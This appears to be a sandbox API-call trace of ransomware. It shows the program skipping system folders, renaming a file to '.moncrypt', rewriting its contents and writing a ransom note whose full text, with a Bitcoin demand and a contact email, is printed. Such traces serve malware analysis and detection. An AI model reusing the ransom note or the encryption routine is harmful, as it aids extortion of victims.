CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.457] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.457] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 46 [0056.457] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.457] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.457] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 15 [0056.458] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.458] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18dfbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.458] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18d3bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 11 [0056.458] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.458] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.458] GlobalUnlock (hMem=0x44000c) returned 0 [0056.458] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.458] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.458] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.458] GlobalUnlock (hMem=0x44000c) returned 0 [0056.458] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.458] GlobalUnlock (hMem=0x440004) returned 0 [0056.458] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.458] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 15 [0056.458] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.458] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=11, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 11 [0056.466] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 9 [0056.466] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 18 [0056.466] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 28 [0056.466] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=10, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 10 [0056.467] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=8, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 8 [0056.467] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 9 [0056.467] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\", cchLength=0x51 | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\") returned 0x51 [0056.467] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d3c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18\x1c") returned 13 [0056.467] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.467] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.467] GlobalUnlock (hMem=0x440004) returned 0 [0056.467] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.467] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.467] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.467] GlobalUnlock (hMem=0x440004) returned 0 [0056.467] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.467] GlobalUnlock (hMem=0x44000c) returned 0 [0056.468] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61de8, cbMultiByte=3, lpWideCharStr=0x18d418, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\\x18\x1c") returned 3 [0056.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e280 [0056.468] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.468] FindNextFileW (in: hFindFile=0x54e280, lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0056.468] FileTimeToLocalFileTime (in: lpFileTime=0x18e4f8, lpLocalFileTime=0x18e408 | out: lpLocalFileTime=0x18e408) returned 1 [0056.468] FileTimeToDosDateTime (in: lpFileTime=0x18e408, lpFatDate=0x18e4c6, lpFatTime=0x18e4c4 | out: lpFatDate=0x18e4c6, lpFatTime=0x18e4c4) returned 1 [0056.468] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.468] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.468] GlobalUnlock (hMem=0x44000c) returned 0 [0056.468] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.468] GlobalLock (hMem=0x440004) returned 0x558b90 [0056.468] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.468] GlobalUnlock (hMem=0x44000c) returned 0 [0056.468] GlobalHandle (pMem=0x558b90) returned 0x440004 [0056.468] GlobalUnlock (hMem=0x440004) returned 0 [0056.468] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.468] CharLowerBuffW (in: lpsz="FPEXT.MSG", cchLength=0x9 | out: lpsz="fpext.msg") returned 0x9 [0056.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d39c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fã\x18", lpUsedDefaultChar=0x0) returned 1 [0056.469] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d3a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt퐘\x18\x06") returned 34 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG", cchWideChar=90, lpMultiByteStr=0x18d380, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSGl", lpUsedDefaultChar=0x0) returned 90 [0056.469] CharLowerBuffW (in: lpsz=".MSG", cchLength=0x4 | out: lpsz=".msg") returned 0x4 [0056.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msg", cchWideChar=4, lpMultiByteStr=0x18d3a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msgShared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSGl", lpUsedDefaultChar=0x0) returned 4 [0056.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0056.470] WriteFile (in: hFile=0x194, lpBuffer=0x1e61e18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e3b0, lpOverlapped=0x0 | out: lpBuffer=0x1e61e18*, lpNumberOfBytesWritten=0x18e3b0*=0x1, lpOverlapped=0x0) returned 1 [0056.470] CloseHandle (hObject=0x194) returned 1 [0056.471] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\я")) returned 1 [0056.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG", lpFindFileData=0x18e144 | out: lpFindFileData=0x18e144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0x54e2c0 [0056.472] FileTimeToLocalFileTime (in: lpFileTime=0x18e158, lpLocalFileTime=0x18e070 | out: lpLocalFileTime=0x18e070) returned 1 [0056.472] FileTimeToDosDateTime (in: lpFileTime=0x18e070, lpFatDate=0x18e126, lpFatTime=0x18e124 | out: lpFatDate=0x18e126, lpFatTime=0x18e124) returned 1 [0056.472] FindClose (in: hFindFile=0x54e2c0 | out: hFindFile=0x54e2c0) returned 1 [0056.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG", dwFileAttributes=0x20) returned 1 [0056.473] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d080, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0056.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.moncrypt")) returned 1 [0056.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0056.473] SetFilePointer (in: hFile=0x194, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e050*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e050*=0) returned 0x0 [0056.473] SetFilePointer (in: hFile=0x194, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e050*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e050*=0) returned 0x296a5 [0056.473] SetFilePointer (in: hFile=0x194, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e050*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e050*=0) returned 0x0 [0056.473] ReadFile (in: hFile=0x194, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e074, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e074*=0x4000, lpOverlapped=0x0) returned 1 [0056.476] GlobalLock (hMem=0x440004) returned 0x556b80 [0056.476] GlobalLock (hMem=0x44000c) returned 0x55cb90 [0056.476] GlobalHandle (pMem=0x55cb90) returned 0x44000c [0056.476] GlobalUnlock (hMem=0x44000c) returned 0 [0056.476] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0056.476] GlobalLock (hMem=0x44000c) returned 0x55cb90 [0056.476] GlobalHandle (pMem=0x55cb90) returned 0x44000c [0056.476] GlobalUnlock (hMem=0x44000c) returned 0 [0056.476] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0056.477] GlobalLock (hMem=0x44000c) returned 0x55cb90 [0056.477] GlobalHandle (pMem=0x556b80) returned 0x440004 [0056.477] GlobalUnlock (hMem=0x440004) returned 0 [0056.477] GlobalHandle (pMem=0x55cb90) returned 0x44000c [0056.477] GlobalUnlock (hMem=0x44000c) returned 0 [0056.477] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.477] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.477] GlobalUnlock (hMem=0x44000c) returned 0 [0056.477] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0056.477] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.477] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.477] GlobalUnlock (hMem=0x44000c) returned 0 [0056.477] ReadFile (in: hFile=0x194, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e074, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e074*=0x20, lpOverlapped=0x0) returned 1 [0056.477] SetFilePointer (in: hFile=0x194, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e068*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e068*=0) returned 0x0 [0056.477] WriteFile (in: hFile=0x194, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e070, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e070*=0x4020, lpOverlapped=0x0) returned 1 [0056.478] SetFilePointer (in: hFile=0x194, lDistanceToMove=169637, lpDistanceToMoveHigh=0x18e068*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e068*=0) returned 0x296a5 [0056.478] WriteFile (in: hFile=0x194, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e070, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e070*=0x20, lpOverlapped=0x0) returned 1 [0056.478] WriteFile (in: hFile=0x194, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e070, lpOverlapped=0x0 | out: lpBuffer=0x18e0ec*, lpNumberOfBytesWritten=0x18e070*=0x8, lpOverlapped=0x0) returned 1 [0056.479] WriteFile (in: hFile=0x194, lpBuffer=0x1e61df8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e070, lpOverlapped=0x0 | out: lpBuffer=0x1e61df8*, lpNumberOfBytesWritten=0x18e070*=0x1, lpOverlapped=0x0) returned 1 [0056.490] WriteFile (in: hFile=0x194, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e070, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e070*=0x9c, lpOverlapped=0x0) returned 1 [0056.490] CloseHandle (hObject=0x194) returned 1 [0056.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0056.492] SetFileTime (hFile=0x194, lpCreationTime=0x18e114, lpLastAccessTime=0x18e10c, lpLastWriteTime=0x18e104) returned 1 [0056.492] CloseHandle (hObject=0x194) returned 1 [0056.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.moncrypt", dwFileAttributes=0x20) returned 1 [0056.492] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.492] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.492] GlobalUnlock (hMem=0x44000c) returned 0 [0056.493] GlobalLock (hMem=0x44000c) returned 0x556b80 [0056.493] GlobalLock (hMem=0x440004) returned 0x558b90 [0056.493] GlobalHandle (pMem=0x556b80) returned 0x44000c [0056.493] GlobalUnlock (hMem=0x44000c) returned 0 [0056.493] GlobalHandle (pMem=0x558b90) returned 0x440004 [0056.493] GlobalUnlock (hMem=0x440004) returned 0 [0056.493] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0056.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e15c | out: lpFindFileData=0x18e15c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x558b90, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a8b8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0056.493] GetLastError () returned 0x2 [0056.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0056.493] WriteFile (in: hFile=0x194, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e364, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e364*=0x649, lpOverlapped=0x0) returned 1 [0056.494] CloseHandle (hObject=0x194) returned 1 [0056.495] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0056.495] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.495] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.495] GlobalUnlock (hMem=0x440004) returned 0 [0056.495] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.495] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.495] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.495] GlobalUnlock (hMem=0x440004) returned 0 [0056.495] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.495] GlobalUnlock (hMem=0x44000c) returned 0 [0056.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*.*", lpFindFileData=0x18e4e4 | out: lpFindFileData=0x18e4e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x42dd4b60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42dd4b60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, 